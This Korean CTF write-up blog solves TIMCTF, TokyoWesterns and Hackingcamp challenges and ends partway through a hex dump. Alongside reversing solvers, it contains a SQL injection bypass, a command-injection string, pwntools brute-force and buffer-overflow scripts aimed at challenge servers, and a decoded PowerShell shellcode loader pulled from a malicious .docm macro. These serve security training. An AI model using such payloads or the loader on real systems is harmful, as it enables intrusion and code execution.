        std::operator<<<std::char_traits<char>>(&_bss_start, "Fork failed!\n");
        result = 0;
      }
      else if ( pid )
      {
        s1 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&input);
        v4 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(&input) != 48
          || strncmp(s1, "TIMCTF{", 7uLL)
          || s1[47] != 125;
        if ( v4 )
        {
          std::operator<<<std::char_traits<char>>(&_bss_start, "NOOOOOOOOOOO\n");
          result = 0;
        }
        else
        {
          for ( i = 7; i <= 46; ++i )
          {
            write(dword_202324, &s1[i], 1uLL);
            if ( read(pipe_2[0], &v6, 4uLL) <= 0 )
            {
              std::operator<<<std::char_traits<char>>(&_bss_start, "P: Read failed!\n");
              return 0;
            }
            if ( flag[i - 7] != v6 )
            {
              std::operator<<<std::char_traits<char>>(&_bss_start, "NOOOOOOOOOOO\n");
              return 0;
            }
          }
          std::operator<<<std::char_traits<char>>(&_bss_start, "Yay, you got the flag!\n");
          close(pipe_1[0]);
          close(dword_202324);
          close(pipe_2[0]);
          close(fd);
          waitpid(pid, 0LL, 1);
          result = 0;
        }
      }
      else
      {
        for ( j = 0; j <= 39; ++j )
        {
          buf = 0;
          if ( read(pipe_1[0], &buf, 1uLL) <= 0 )
          {
            std::operator<<<std::char_traits<char>>(&_bss_start, "C: Read failed!\n");
            return 0;
          }
          buf += 96;
          rol(&buf, 2);
          buf ^= 0x7Fu;
          buf = ~buf;
          v6 = 237 * buf;
          write(fd, &v6, 4uLL);
        }
        result = 0;
      }
    }
  }
  return result;
}

compare the flag characters

lea     rax, flag
mov     edx, [rdx+rax]
mov     eax, [rbp+compare]
cmp     edx, eax
flag = [0x000035B2, 0x0000B39A, 0x000074A6, 0x0000AD1F, 
0x0000BEB6, 0x0000BEB6, 0x00008817, 0x000074A6, 
0x00008F7F, 0x0000B0D3, 0x0000BBEF, 0x000074A6, 
0x0000B487, 0x00009A9B, 0x00003D1A, 0x00008BCB, 
0x000074A6, 0x00009A9B, 0x00008F7F, 0x000074A6, 
0x0000C357, 0x000096E7, 0x00008BCB, 0x0000BBEF,
0x00008BCB, 0x000074A6, 0x00009A9B, 0x0000BFA3, 
0x000074A6, 0x000035B2, 0x0000B39A, 0x000074A6, 
0x0000B487, 0x0000232E, 0x0000B487, 0x0000145E, 
0x0000CE73, 0x0000145E, 0x00008BCB, 0x000010AA]

set 48 characters with TIMCTF{…}

I brought the rax value before comparing it with the flag. and bring each letter.

FLAG : TIMCTF{N0_n33d_for_piPe_if_there_is_N0_pIpEwEeD}


Strange jump (250pts)

This application likes to jump!

I found actual_decrypt function!

unsigned __int64 actual_decrypt(void)
{
  size_t v0; // rax
  size_t v1; // rbx
  unsigned __int8 v3; // [rsp+Ah] [rbp-216h]
  char v4; // [rsp+Bh] [rbp-215h]
  int v5; // [rsp+Ch] [rbp-214h]
  int v6; // [rsp+10h] [rbp-210h]
  signed int i; // [rsp+14h] [rbp-20Ch]
  signed int j; // [rsp+18h] [rbp-208h]
  signed int k; // [rsp+1Ch] [rbp-204h]
  signed int l; // [rsp+20h] [rbp-200h]
  int m; // [rsp+24h] [rbp-1FCh]
  char v12[8]; // [rsp+30h] [rbp-1F0h]
  char v13[8]; // [rsp+50h] [rbp-1D0h]
  char v14[8]; // [rsp+70h] [rbp-1B0h]
  __int64 v15; // [rsp+B0h] [rbp-170h]
  __int64 v16; // [rsp+B8h] [rbp-168h]
  __int64 v17; // [rsp+C0h] [rbp-160h]
  __int64 v18; // [rsp+C8h] [rbp-158h]
  __int64 v19; // [rsp+D0h] [rbp-150h]
  __int64 v20; // [rsp+D8h] [rbp-148h]
  __int64 v21; // [rsp+E0h] [rbp-140h]
  __int64 v22; // [rsp+E8h] [rbp-138h]
  char v23; // [rsp+F0h] [rbp-130h]
  char v24[264]; // [rsp+100h] [rbp-120h]
  unsigned __int64 v25; // [rsp+208h] [rbp-18h]

  v25 = __readfsqword(0x28u);
  memset(v24, 0, 0x100uLL);
  while ( 1 )
  {
    v0 = strlen(byte_203302);
    if ( isprint(byte_203302[v0 - 1]) )
      break;
    byte_203302[strlen(byte_203302) - 1] = 0;
  }
  strcpy(v14, "VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9");
  v15 = 'HGFEDCBA';
  v16 = 'PONMLKJI';
  v17 = 'XWVUTSRQ';
  v18 = 'fedcbaZY';
  v19 = 'nmlkjihg';
  v20 = 'vutsrqpo';
  v21 = '3210zyxw';
  v22 = '/+987654';
  v23 = 0;
  strcpy(v12, "NOOOOOOOOOOOOOOOOOO\n");
  strcpy(v13, "Yay, you got the flag!\n");
  v6 = 0;
  v4 = 0;
  for ( i = 0; i < strlen(byte_203302); i += 3 )
  {
    v5 = byte_203302[i + 2] | ((byte_203302[i + 1] | (byte_203302[i] << 8)) << 8);
    for ( j = 0; j <= 2; ++j )
    {
      if ( !byte_203302[i + j] )
        v4 = 1;
    }
    for ( k = 3; k >= 0; --k )
    {
      v3 = 0;
      for ( l = 5; l >= 0; --l )
      {
        if ( v5 & (1 << (6 * k + l)) )
          v3 |= 1 << l;
      }
      if ( v3 )
      {
        v24[v6] = *(&v15 + v3);
      }
      else if ( v4 )
      {
        v24[v6] = 61;
      }
      else
      {
        v24[v6] = 65;
      }
      ++v6;
    }
  }
  v1 = strlen(v14);
  if ( v1 == strlen(v24) )
  {
    for ( m = 0; ; ++m )
    {
      if ( !v14[m] )
      {
        puts(v13);
        exit(0);
      }
      if ( v14[m] != v24[m] )
        break;
    }
    puts(v12);
  }
  else
  {
    puts(v12);
  }
  return __readfsqword(0x28u) ^ v25;
}

This function do base64 calculation.

Put the VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9 in v14.

just base64 decode VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9.

>>> import base64
>>> base64.b64decode('VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9')
'TIMCTF{deC3pt1ve_ExceP0ti0n_h4ndLer}'

FLAG : TIMCTF{deC3pt1ve_ExceP0ti0n_h4ndLer}


Web

Not so empty website (50pts)

This website looks empty, but trust me, it is not!

http://89.38.208.143:20001/

  • We can see web site link.
  • Check the html code, and we can see flag.
<!DOCTYPE html>
<html>
<head>
	<title>NO FLAG</title>
</head>
<body>
    <div style="margin-top:100px"><a style="font-family: San Francisco;font-size: 54px;line-height: 41px;color: #000000;">I KNOW YOU WANT A FLAG BUT I DON'T HAVE ANY!</a></div>
    <!--Or I do: TIMCTF{D0_not_b3_superfic1al}-->
</body>

FLAG : TIMCTF{D0_not_b3_superfic1al}


Secret key of swag (150pts)

Our spies leaked the authentication algorithm for this site, but the login seems rigged. Is it so?

http://89.38.208.143:20002/

This is a reupload as yesterday an unintended solution was found

index.php 99b9fd6c5262ab6762059d333ced10eb

in index.php

<?php

if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['action'])){
        $action = $res['action'];
    }
}

if ($action === 'login') {
    if (!empty($res['key'])) {
        $key = $res['key'];
    }

    if (!empty($key)) {
        $processed_key = strtoupper($key);
    }
    if (!empty($processed_key) && $processed_key === 'hax0r') {
        echo file_get_contents( "flag.txt" );
    }
    else {
        echo 'Sorry, you don\'t have enough swag to enter';
    }
}

?>
  • We can use parse_str() function to control $processed_key varriable.

http://89.38.208.143:20002/?action=login&processed_key=hax0r

Please inspect element, your flag is there<?php
//TIMCTF{Welcome_M4N_of_SW4G}, I have been expecting you!
?>

FLAG : TIMCTF{Welcome_M4N_of_SW4G}


Admin panel (200pts)

Your job is to hack this admin panel and login.

http://89.38.208.143:20003/

  • Input asdf@asdf.com in Email
  • Input ' or 1=1;# in Password

FLAG : TIMCTF{SqL_1nj3ct1on_1s_b4ck_1n_town}

'CTF WriteUp' 카테고리의 다른 글

2019 HCTF Writeup  (0) 2019.11.20
2019 제 14회 중고생정보보호올림피아드 풀이  (4) 2019.09.23
2019 TokyoWesterns CTF 5th Easy Crack Me  (0) 2019.09.03
2019 20th Hackingcamp CTF Writeup  (0) 2019.09.01
2019 Inc0gnito CTF Writeup  (0) 2019.08.27

Reverse Warmup 문제로 나온 문제다.

main 코드를 보면 연산하고 memcmp로 비교한다. 분기들을 다 만족 시켜주면 된다.

if ( a1 == 2 )
  {
    s = a2[1];
    if ( strlen(a2[1]) != 39 )
    {
      puts("incorrect");
      exit(0);
    }
    if ( memcmp(s, "TWCTF{", 6uLL) || s[38] != 125 )
    {
      puts("incorrect");
      exit(0);
    }
  • 우선 argv로 입력받은 값은 39글자인지 비교한다.
  • 입력 받은 값이 TWCTF{ 로 시작하고 뒤에 } 붙여야한다.


		s1 = 0LL;
    v38 = 0LL;
    v39 = 0LL;
    v40 = 0LL;
    v41 = 0LL;
    v42 = 0LL;
    v43 = 0LL;
    v44 = 0LL;
    v46 = 3978425819141910832LL;
    v47 = 7378413942531504440LL;
    for ( i = 0; i <= 15; ++i )
    {
      for ( j = strchr(s, *(&v46 + i)); j; j = strchr(j + 1, *(&v46 + i)) )
        ++*(&s1 + i);
    }
    if ( memcmp(&s1, &unk_400F00, 0x40uLL) )
    {
      puts("incorrect");
      exit(0);
    }
  • { }사이는 “0123456789abcdef” 만 들어간다. 16진수 값만 들어간다고 한다. 각각 개수는 3, 2, 2, 0, 3, 2, 1, 3, 3, 1, 1, 3, 1, 2, 2, 3 를 만족해야한다.


for ( k = 0; k <= 7; ++k )
    {
      v10 = 0;
      v11 = 0;
      for ( l = 0; l <= 3; ++l )
      {
        v5 = s[4 * k + 6 + l];
        v10 += v5;
        v11 ^= v5;
      }
      *(&v21 + k) = v10;
      *(&v25 + k) = v11;
    }

if ( memcmp(&v21, &unk_400F40, 0x20uLL) || memcmp(&v25, &unk_400F60, 0x20uLL) )
    {
      puts("incorrect");
      exit(0);
    }
  • s[4 * k + 6 + l] 값들을 xor 연산과 덧셈연산 한 값들이 테이블 값들이 같도록 해야한다.


for ( m = 0; m <= 7; ++m )
    {
      v14 = 0;
      v15 = 0;
      for ( n = 0; n <= 3; ++n )
      {
        v6 = s[8 * n + 6 + m];
        v14 += v6;
        v15 ^= v6;
      }
      *(&v29 + m) = v14;
      *(&v33 + m) = v15;
    }

if ( memcmp(&v29, &unk_400FA0, 0x20uLL) || memcmp(&v33, &unk_400F80, 0x20uLL) )
    {
      puts("incorrect");
      exit(0);
    }
  • s[8 * n + 6 + m] 값들을 xor 연산과 덧셈연산 한 값들이 테이블 값들이 같도록 해야한다.


for ( ii = 0; ii <= 31; ++ii )
    {
      v7 = s[ii + 6];
      if ( v7 <= 47 || v7 > 57 )
      {
        if ( v7 <= 96 || v7 > 102 )
          v45[ii] = 0;
        else
          v45[ii] = 128;
      }
      else
      {
        v45[ii] = 255;
      }
    }
    if ( memcmp(v45, &unk_400FC0, 0x80uLL) )
    {
      puts("incorrect");
      exit(0);
    }
  • 이곳은 s의 문자열 범위 지정해준다.


v18 = 0;
    for ( jj = 0; jj <= 15; ++jj )
      v18 += s[2 * (jj + 3)];
    if ( v18 != 1160 )
    {
      puts("incorrect");
      exit(0);
    }
  • s[2 * (jj + 3)]의 값들의 합이 1160이면 된다.


if ( s[37] != 53 || s[7] != 102 || s[11] != 56 || s[12] != 55 || s[23] != 50 || s[31] != 52 )
    {
      puts("incorrect");
      exit(0);
    }
  • 각각 인덱스의 값을 만족시키면 된다.


from z3 import * 

s = Solver()

a1 = [BitVec('a%i'%i,8) for i in range(39)]

s.add(a1[0] == ord('T'))
s.add(a1[1] == ord('W'))
s.add(a1[2] == ord('C'))
s.add(a1[3] == ord('T'))
s.add(a1[4] == ord('F'))
s.add(a1[5] == ord('{'))
s.add(a1[38] == ord('}'))
s.add(a1[37] == 53 , a1[7] == 102 , a1[11] == 56 , a1[12] == 55 , a1[23] == 50 , a1[31] == 52)

v45 = [0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x61,0x62,0x63,0x64,0x65,0x66]
# 0 1 2 3 4 5 6 7 8 9 a b c d e f 
tb1 = [3, 2, 2, 0, 3, 2, 1, 3, 3, 1, 1, 3, 1, 2, 2, 3]
tb2 = [0x015E, 0x00DA, 0x012F, 0x0131, 0x0100, 0x0131, 0x00FB, 0x0102]
tb3 = [82, 12, 1, 15, 92, 5, 83, 88]
tb4 = [1, 87, 7, 13, 13, 83, 81, 81]
tb5 = [0x0129, 0x0103, 0x012B, 0x0131, 0x0135, 0x010B, 0x00FF, 0x00FF]
tb6 = [128, 128, 255, 128, 255, 255, 255, 255, 128, 255, 255, 128, 128, 255, 255, 128, 255, 255, 128, 255, 128, 128, 255, 255, 255, 255, 128, 255, 255, 255, 128, 255]

for k in range(8):
	v10 = 0
	v11 = 0
	for l in range(4):
		v5 = a1[4 * k + 6 + l]
		v10 += v5
		v11 ^= v5
	s.add(tb2[k] == v10)
	s.add(tb3[k] == v11)

for m in range(8):
	v14 = 0
	v15 = 0
	for n in range(4):
		v6 = a1[8 * n + 6 + m]
		v14 += v6
		v15 ^= v6
	s.add(tb5[m] == v14)
	s.add(tb4[m] == v15)


v18 = 0
for jj in range(16):
	v18 += a1[2 * (jj + 3)]
s.add(v18 == 1160)

for i in range(32):
    if(tb6[i]==128):
        s.add(a1[i+6]>=97)
        s.add(a1[i+6]<=102)
    else:
        s.add(a1[i+6]>=48)
        s.add(a1[i+6]<=57)


for i,ch in enumerate("0123456789abcdef"):
	cnt = 0
	for x in a1:
		cnt += If(x == ord(ch),1,0)
	s.add(cnt == tb1[i])
if s.check() == sat:
	m = s.model()
	print ''.join(chr(int(str(m.evaluate(a1[i]))))for i in range(39))

FLAG : TWCTF{df2b4877e71bd91c02f8ef6004b584a5}

Web Hacking

js

jsfuck으로 되어있는데 jsfuck만 긁어서decrypt 해주면 된다.

function anonymous(
) {
['HCAMP{0jSeasy0}',''][0x1];
}

FLAG : HCAMP{0jSeasy0}


command injection

$ nslookup “ “ 이렇게 주는데 “ “사이에 커맨드 인젝션 해주면 된다. 이 사이에 `` 넣어주고 그 사이에 /cat flag 넣어주면 된다.

$ nslookup "`cat /flag`"
Server:		127.0.0.11
Address:	127.0.0.11#53

** server can't find HCAMP{camsfsodfasjfai}: NXDOMAIN

FLAG : HCAMP{camsfsodfasjfai}


Reversing

Eeeeasy Reversing

flag.enc 파일이 주어진다. flag.txt에서 값을 긁어와서 어떠한 연산을 거쳐서 마지막에 enc 파일에 써준다.

__int64 sub_402D30()
{
  __time64_t v0; // rax
  FILE *v1; // rbx
  FILE *v2; // r13
  size_t v3; // r12
  char *v4; // rbp
  char *v5; // rbx
  char v6; // si

  sub_401610();
  v0 = time64(0i64);
  srand(v0 >> 15);
  v1 = fopen("flag.txt", "rb");
  v2 = fopen("flag.enc", "wb");
  fseek(v1, 0, 2);
  v3 = (unsigned int)ftell(v1);
  v4 = (char *)calloc(v3, 1ui64);
  fseek(v1, 0, 0);
  fread(v4, 1ui64, v3, v1);
  fclose(v1);
  if ( (_DWORD)v3 )
  {
    v5 = v4;
    do
    {
      *v5 += rand();
      v6 = rand();
      *v5 ^= rand() ^ v6;
      ++v5;
    }
    while ( v5 != &v4[(unsigned int)(v3 - 1) + 1] );
  }
  fwrite(v4, 1ui64, v3, v2);
  return 0i64;
}

srand는 enc 파일이 인코딩된 시간을 구해서 15만큼 쉬프트 연산해주면 된다. 그리고 srand값만 구하면 역연산 해주면 된다. 음수가 나오는 것들도 있어서 예외처리로 바꿔주었다.

from ctypes import *

table = [244, 206, 31, 39, 232, 186, 217, 217, 59, 43, 27, 168, 120, 116, 106, 47, 118, 66, 139, 22, 48, 48, 91, 174, 203, 243, 9, 64, 64, 23, 205, 22, 124, 227, 112, 188, 169, 184, 245, 47, 58, 208, 228, 176]

lib = CDLL('msvcrt')
lib.srand(47799)
flag=''

for i in range(len(table)):
	rand1=lib.rand()&0xff
	rand2=lib.rand()&0xff
	rand3=lib.rand()&0xff
	try:
		flag+=chr((table[i]^rand3^rand2)-rand1)
	except:
		flag += chr(255+(table[i]^rand3^rand2)-rand1 +1)
		pass
print(flag)

FLAG : HCAMP{Supper_Zzang_Zzang_Easy_Rever$ing!!@@}


Split Split Split

파일이 여러개로 나뉘어져있다. 이 파일들을 순서대로 다 합치면 Mach-O 64-bit executable x86_64 파일이 나온다.

import binascii

bin = ""
for i in range(5):
	f = open('00'+str(i)+'.bin','rb')
	data = f.read()
	f.close()
	bin += binascii.hexlify(data)
bin = binascii.unhexlify(bin)
f = open('split_file','wb')
f.write(bin)
f.close()

이제 이 Mach-O 바이너리를 열어보면 아래와 같은 코드가 있다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [rsp+18h] [rbp-78h]
  char v5[104]; // [rsp+20h] [rbp-70h]
  __int64 v6; // [rsp+88h] [rbp-8h]

  memcpy(v5, "XSQ]@kC@\\YDOTQDQOCESSUCCm", 0x64uLL);
  v4 = 0;
  puts("Let's go Decrypt!");
  while ( v4 < strlen(v5) )
  {
    v5[v4] ^= 0x10u;
    ++v4;
  }
  result = printf("\n", "XSQ]@kC@\\YDOTQDQOCESSUCCm");
  if ( __stack_chk_guard == v6 )
    result = 0;
  return result;
}

이런식으로 돼있는데 그냥 역연산 해주면 풀린다.

enc = "XSQ]@kC@\\YDOTQDQOCESSUCCm"
print bytearray(i^0x10 for i in bytearray(enc))

FLAG : HCAMP{SPLIT_DATA_SUCCESS}


M0000V

아마도 movfuscator 로 컴파일된 바이너리 같다. 근데 demovfuscator를 사용하려고 했는데 capstone이 자꾸 오류나서 그냥 브루트포스 돌리고 게싱해서 풀었다.

근데 다른 분이 stace를 이용해서 풀었길래 똑같이 풀어보았다.

for i in a b c d e f g h i j k l m o p q r s t u v w x y j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 @ ! ; do echo -n $i\ ; echo 'HCAMP{'$i | strace ./movisfun 2>&1 | grep SIG  | wc -l;done

이런식으로 스크립트를 실행시키면 표준출력해주고 strace로 시스템콜 가져와서 HCAMP{ 뒤에 올 문자를 보여준다. 그러면 일일이 하나씩 대입해 시스템콜을 추적하면 알맞은 플래그를 찾을 수 있다.

FLAG : HCAMP{M000oo00v_1s_1nterestin9}


SimpleREV

메인을 보면 어떠한 함수에 인자 값들을 넣고 그 함수의 리턴값에 따라 Correct!를 출력해준다.

int sub_402000()
{
  dword_404384 = 255;
  dword_404380 = 1;
  puts("Welcome HACKING CAMP");
  puts("THIS IS REAL PROTECTOR");
  puts("But, when you more think you will solve it");
  puts("Welcome HACKING CAMP");
  puts("=========Access only Admin===========");
  dword_404388 = 30;
  if ( (unsigned __int8)sub_405000(dword_40437C, dword_404380, dword_404384, 30) )
    puts("Correct!");
  return 0;
}
char __usercall sub_405000@<al>(char a1@<dil>, int a2, int a3, int a4, int a5)
{
  unsigned int v5; // eax
  int v6; // esi
  unsigned int v7; // edx
  int v8; // eax
  char v10; // [esp-4h] [ebp-3Ch]
  int v11; // [esp+Ch] [ebp-2Ch]
  int v12; // [esp+10h] [ebp-28h]
  __int128 v13; // [esp+14h] [ebp-24h]
  __int64 v14; // [esp+24h] [ebp-14h]
  int v15; // [esp+2Ch] [ebp-Ch]
  __int16 v16; // [esp+30h] [ebp-8h]
  char v17; // [esp+32h] [ebp-6h]
  int retaddr; // [esp+3Ch] [ebp+4h]

  v12 = 0;
  v13 = 0i64;
  v15 = 0;
  v14 = 0i64;
  v16 = 0;
  v17 = 0;
  sub_401020(">> ", a1);
  sub_401050("%d", (unsigned int)&v12);
  v5 = time64(0);
  srand(v5);
  retaddr = rand();
  if ( v12 == 78 && a4 == 1 )
  {
    v6 = 0;
    sub_401020(">> ", v10);
    sub_401050("%s", &v13);
    if ( a5 != 30 )
      system(Command);
    v7 = 0;
    if ( (char *)&v13 + strlen((const char *)&v13) + 1 == (char *)&v13 + 1 )
      goto LABEL_13;
    do
    {
      v8 = byte_4031C9[2 * v7] + byte_4031C8[2 * v7];
      if ( v8 < 0 )
        v8 = -v8;
      *((_BYTE *)&v13 + v7) ^= v8;
      if ( *((_BYTE *)&v13 + v7) != byte_403248[v7] )
        goto LABEL_13;
      v11 = v6 + 1;
      ++v7;
      ++v6;
    }
    while ( v7 < strlen((const char *)&v13) );
    if ( v11 != 30 )
LABEL_13:
      exit(0);
    puts("C0ngratulation");
  }
  return 1;
}

먼저 바이너리 패치로 » 2번 째 입력 받는 곳까지 갈 수 있게 하고 이후 동적디버깅해서 비교해주는 값을 가져왔다.

이게 값이 좀 신기하게 들어가서 0xffffffff 넘게 들어가는 것도 있는데 그냥 비교해주는 구문앞에서 그 값과 테이블 값을 xor하면 플래그가 나온다.

check = ['0x58', '0x38', '0x79', '0x54', '0xf4', '0x6a', '0x7d', '0x58', '0xb2', '0x30', '0x21', '0x6d', '0x7d', '0x49', '0xc', '0xff', '0x1f', '0x71', '0x2', '0x1a', '0x41', '0x6c', '0x35', '0xe0', '0x49', '0xa7', '0x46', '0x7b', '0x5', '0x4f']
table = [25,80,38,11,141,90,8,7,211,84,76,4,19,22,120,151,126,31,105,105,30,92,5,191,43,151,53,8,93,11]
print ''.join(chr(int(x,16)^y) for x,y in zip(check,table))

FLAG : HCAMP{Ah__y0u_admin_thanks_00_b0ssXD}


Pwnable

magic

플래그가 저장된 값과 입력한 값을 비교하는데 Brute force attack 돌려주면 된다.

from pwn import *

payload = ''

while len(payload) != 30:
	for i in range(33,127):
		p = remote('pwnable.shop',20204)
		p.sendlineafter('>> ',str(2))
		tmp = chr(i)
		go = payload
		go += tmp
		p.sendlineafter('>> ',go)
		print go
		sleep(0.1)
		m = p.recvline()
		if 'Good!' in m:
			payload += tmp
			break
		p.close()
p.interactive()

FLAG : HCAMP{4RE_Y0U_GUESS1NG_K1NG?}


bofforeverfluw

from pwn import * 

#context.log_level = 'debug'

p = remote('pwnable.shop',20201)
e = ELF('./bofforeverfluw_edeb9811b02cc3c5f4f7cfecf5eebcdf')

system = 0x80484d2
ret = 0x0804A024
payload = 'A'*(0x204 + 0x4)
payload += p32(system)
payload += p32(ret)
p.sendafter('hi\n',payload)
sleep(0.1)
p.interactive()

FLAG : HCAMP{0ver_0ver_0ver_flow_@3@_!!}


campnote

fastbin


Misc

I_AM_NEWBIE

문제가 나오는데 그 질문에 대한 답을 계속 넣어주면 된다.

from pwn import *

#context.log_level = 'debug'

p = remote('pwnable.shop',20207)
print p.sendlineafter('>>','stack')
sleep(0.1)
print p.sendlineafter('>>','user account control')
sleep(0.1)
print p.sendlineafter('>>','eip')
sleep(0.1)
print p.sendlineafter('>>','assembly')
sleep(0.1)
print p.sendlineafter('>>','http')
sleep(0.1)
print p.sendlineafter('>>','eax')
sleep(0.1)
print p.sendlineafter('>>','ntfs')
sleep(0.1)
print p.sendlineafter('>>','cookie')
sleep(0.1)
print p.sendlineafter('>>','mbr')
sleep(0.1)
print p.sendlineafter('>>','security cookie')
sleep(0.1)
print p.sendlineafter('>>','breakpoint')
sleep(0.1)
print p.sendlineafter('>>','PK')
sleep(0.1)
print p.sendlineafter('>>','backdoor')
p.interactive()

FLAG : HCAMP{You_able_to_zzzzzannng_h4cker}


01010101

o를 0으로 바꿔주고 O을 1로 바꿔주고 8비트씩 끊어서 넣어줬다.

a="oOooOooooOooooOOoOoooooOoOooOOoOoOoOoooooOOOOoOOoOooooOoooOOooOOooOOooOOoOOOoooooOoOOOOOoOooooOoooOOooOOooOOooOOoOOOoooooOoOOOOOoOoooooOoOOOooOOoOOoooOOooOOoooOooOOoooOoOoOOOOOoOooooOOooOOoooooOOooOooooOOooOOoOoOOOOOoOoooooooOOOoOOOoOoooooooOOOOOoO"
flag=""
for i in range(0,len(a),8):
	tmp = a[i:i+8]
	tmp = tmp.replace('o','0').replace('O','1')
	flag += tmp
print ''.join(map(lambda x: chr(int(x, 2)), [flag[i:i+8] for i in xrange(0, len(flag),8)]))

FLAG : HCAMP{B33p_B33p_Asc11_C0d3_@w@}


ControlFlowGraph

그래프뷰보면 플래그가 나온다.

FLAG : HCAMP{Fun_CFG_@@}


Forensic

Party of Base64

HackingCamp20th.docm 파일을 준다.

확장자를 zip으로 바꾸고 속에 있는 내부 파일들을 보게되면 vbaProject.bin 이라는 파일이 존재했는데 헥스값으로 까보면 base64 인코딩된 부분이 존재했다. 이 부분만 가져와서 base64 decode해주면 아래와 같은 소스가 나온다.

nd $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
	$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
	return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
		[Parameter(Position = 1)] [Type] $var_return_type = [Void]
	)

	$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
	$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
	$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

	return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('MUY4QjA4MDgxQTMyNTI1RDAwMDM0ODQzNDE0RDUwNUY2NTZFNjM2RjY0NjU2NDJFNzQ3ODc0MDA2RDUxQzE0RUMzMzAwQ0RENjFEMkJFQTNBMkREMEU2MDAyMDJBNjk2QUQ4QzBCMjdEMEI0MDkwOTA5MjFEMERBNjYyOEE1NTFCNjAzMUQwQkE4RTkzRjcxRTA4M0Y4MTJFQzY0ODM4MjY4NkEyNTdFN0U4RUZEOUNDRjhGRjc3RDlFQTk2NDlEMEIzODM0M0FFN0U5Q0VGQ0E4RDVGOTg1MjU3Q0YxMDc3Q0U1NTk5RUJFMUE4QkQyNTI3MzU5NDMyRUI1QkMxOTg1ODMwOTFDMDA5Qjk2ODM2MjVBODZDNzY4QjQ5RjRDQ0JFODBDNkQ4ODE2QTIzRkMwMUQ2M0E3ODg5RDJBMTcwQjE3MEUwQjg1Q0I4OTIyRTc0N0IxMzNFMjBFMjgzRjc3QkVFNUU3OEUxRjFEQjNGRUI2OEYxRTE4QTE2RkU1MjIxMTgxREZFQUFDNUE5RDM2RkU0NTVBNDNDMDMzMEQxQzlCOEJGQkI4MURDMkU4MDRGMEQwRUQyMkFCNERCNEI2MTVDMDI3NzA4RDk0NzIzNEVFMzdCMTVEQzIyRUVENDdGODkyQUFCNTZCQTFENzc1NjY4NTIzNjgzMUFBMzE5RTBCRjUxOEE4MzQzMzFBRUM2NDdBQzRGMEUwMkYzMkYyODg1REE2RjU5RDRDMzZBRERBQTBBMjdDNTE2RjY3QjkwMjE2MzM1ODUyRDk5OTk4QTlFQTM5RDgxMDNDNzBGNzFBRkUyMkQyMjIyMEM3RUYwRTdEMjIxQTVEMkJBOTdGODg2Q0M1RkVDNTZEMUJGRjY3MkM1RDQ2QjVENjY2OEI1QTYwMjMzQTZFMkE5RTQ5OUVEOUYxQ0FGQTQ5NzlFMDlFMDFDRjZGMzc5MzhEMzAwQTA2QkRBMkYyMUI3M0U5NzlDRDg5RDAzMDZDODFBMjQyRDE3Njg2RTQzNUU4NTAyNEYyMDk2M0NEMkJGQzlGQzcyNjM2MkYyMEQ4MkJBQUUwMTc4NTVEOENBRkNFRUY5OTQ3RTkxRTBDNjNGRkZCQzVBRDM4RjZCMDU2NEExOEUzRjRBMkE2RTUxN0UxRDY4RTE3MTUwMzAwMDA=')

for ($x = 0; $x -lt $var_code.Count; $x++) {
	$var_code[$x] = $var_code[$x] -bxor 13
}

그리고 저기 var_code라는 변수를 base64 디코딩하면 16진수 값들이 나오는데 이 16진수를 보면 gzip이라는 것을 알 수 있다.

이 gzip을 압축 해제하면 HCAMP_encoded.txt 이라는 텍스트 파일이 나온다. 그 안에 있는 값을 16진수를 xor 13 해줬다.

b="E2B6B22E 64636E61 7869682D 317E7969 64622365 3300072E 64636E61 7869682D 317E7969 61646F23 65330007 2E64636E 61786968 2D317A64 6369627A 7E236533 00070007 00076E65 6C7F2D69 6C796C56 3F383B50 2D302D2F 51753B6B 51753834 5175386B 51753835 5175393E 5175393C 51753938 5175383B 51753934 51753A3E 51753A6E 5175393E 5175386F 51753934 51753868 5175386B 51753939 51753934 5175393D 5175393D 51753A3E 51753B3C 51753969 5175393D 5175386F 51753969 51753868 51753934 2F360007 00076E65 6C7F272D 7E687959 6C6F6168 25240007 76000704 0007046B 627F2D25 6463792D 642D302D 3D362D64 2D312D3F 352D362D 64262624 00070476 00070404 696C796C 5664502D 53302D3D 753F4E36 00070404 696C796C 5664502D 2B302D3D 754B4B4B 4B4B4B36 00070470 00070007 047F6879 787F632D 696C796C 36000770 00070007 6463792D 4E65686E 66256E62 637E792D 6E656C7F 2D27696C 796C212D 6E62637E 792D6E65 6C7F2D27 696C796C 3F216463 792D7562 7F5B6C61 24000776 0007046E 656C7F2D 6E65686E 66687F56 3F383B50 